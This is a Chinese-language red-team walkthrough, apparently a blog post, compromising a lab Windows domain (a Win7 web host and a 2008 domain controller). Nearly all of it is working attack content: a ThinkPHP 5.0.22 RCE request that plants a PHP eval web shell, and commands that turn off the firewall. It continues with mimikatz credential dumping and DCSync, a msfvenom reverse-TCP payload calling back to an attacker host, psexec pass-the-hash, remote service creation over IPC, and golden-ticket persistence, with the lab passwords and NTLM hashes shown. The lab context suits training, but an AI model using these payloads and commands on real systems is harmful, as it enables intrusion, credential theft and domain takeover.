ATT&CK实战系列-红队评估(五)

虚拟机环境

win7

密码:

  • sunheart 123.com
  • sunAdministrator dc123.com

ip:

  • 192.168.252.213
  • 192.168.138.135

2008

密码:

  • sunadmin 2020.com

ip:

  • 192.168.138.138

我们还需要在win7主机上开启phpstudy

信息收集

首先我们使用nmap对目标主机进行端口和漏洞扫描

nmap -sS -sV -Pn --script=vuln 192.168.252.213

我们发现80端口,以及很多扫描出来的漏洞,我们尝试访问80端口

通过报错页面我们知道其版本是5.0.22

GetShell

在thinkphp的5.0.22版本中存在RCE漏洞,我们进行漏洞验证

http://192.168.252.213//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

接着我们写入shell

http://192.168.252.213//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php echo "hackme";@eval($_POST[cmd]);?>

访问后门,查看是否写入成功

接着我们连接shell,连接成功

接着我们将shell反弹到CS上

内网信息收集

发现存在第二块网卡和域名以及DNS

ipconfig /all

查看域内机器

shell net view /domain:sun

查看域用户列表

shell net group "domain users" /domain

查看域管列表

shell net group "domain admins" /domain

横向移动

关闭防火墙,在真实环境下我们最好放行端口

#查看防火墙的状态
netsh firewall show config
#关闭防火墙
netsh advfirewall set allprofiles state off
#放行6666
netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=6666

方法一

我们在拿到web的shell之后我们在其上面设置代理

接着我们获取所有用户的凭证

mimikatz lsadump::dcsync /domain:sun.com /all /csv
或
logonpasswords 

我们在目标栏目中对DC主机使用psexec传递hash

稍等一会,就可以收到DC的shell

方法二

我们在msf上生成shell上传到win7上执行,msf上收到shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.252.133 LPORT=4444 -f exe > /tmp/shell1.exe

查看目标机器内网信息并添加路由信息

run autoroute -p
run get_local_subnets
run autoroute -s 192.168.138.0/24

接着我们抓取域管的密码

kiwi_cmd sekurlsa::logonPasswords

思路:

这里抓到了靶机和域管的密码,那么这里就可以用pth的方法进行横向移动,这是第一种方法;另外我们可以去检测一下在另一个网段的机器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp进行横向移动,这是第二种方法;因为我们之前在用nmap对端口进行扫描的时候是发现了139和445端口的,那么我们拿到了密码的情况下可以尝试使用ipc+计划任务的方式进行横向移动。

psexec

use exploit/windows/smb/psexec
set rhost 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com    #这里即可以填写明文密码也可以写hash
set payload windows/meterpreter/bind_tcp
run

这里利用成功可能是因为防火墙没有关闭的原因,这里我们利用IPC关闭防火墙,常规的方法是使用netsh关闭域控防火墙,这里我们直接使用ipc连接域控然后使用计划任务添加规则关闭防火墙

首先我们与域控建立IPC连接

net use \\192.168.138.138\ipc$ dc123.com /user:administrator

利用sc创建计划任务立即启动关闭域控的防火墙,这里可以看到防火墙已经关闭了

#创建服务
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
#立即启动服务
sc \\192.168.138.138 start unablefirewall

#下面这条是放行防火墙的规则,这里没有用到
netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allownetsh advfirewall firewall delete rule name="f.exe"

我们再次尝试psexec,成功收到shell

方法三

利用wmiexec进行横向,首先我们将wmiexec上传到win7上,接着利用wmiexec执行命令

cscript wmiexec.vbs /cmd 192.168.138.138 sun\administrator dc123.com whoami

权限维持

黄金票据

kiwi_cmd sekurlsa::logonPasswords

域:SUN.com
SID:S-1-5-21-3388020223-1982701712-4030140183-500
NTLM:4709c610981029668df9d94ae48eb869

首先我们在win7上测试IPC,失败

net use \\192.168.138.138\ipc$

接着我们上传mimikatz并执行如下命令,IPC访问成功

kerberos::golden /domain:sun.com /sid:S-1-5-21-3388020223-1982701712-4030140183-500 /user:wpsec /rc4:4709c610981029668df9d94ae48eb869 /ptt

最后修改:2022 年 02 月 16 日 05 : 22 PM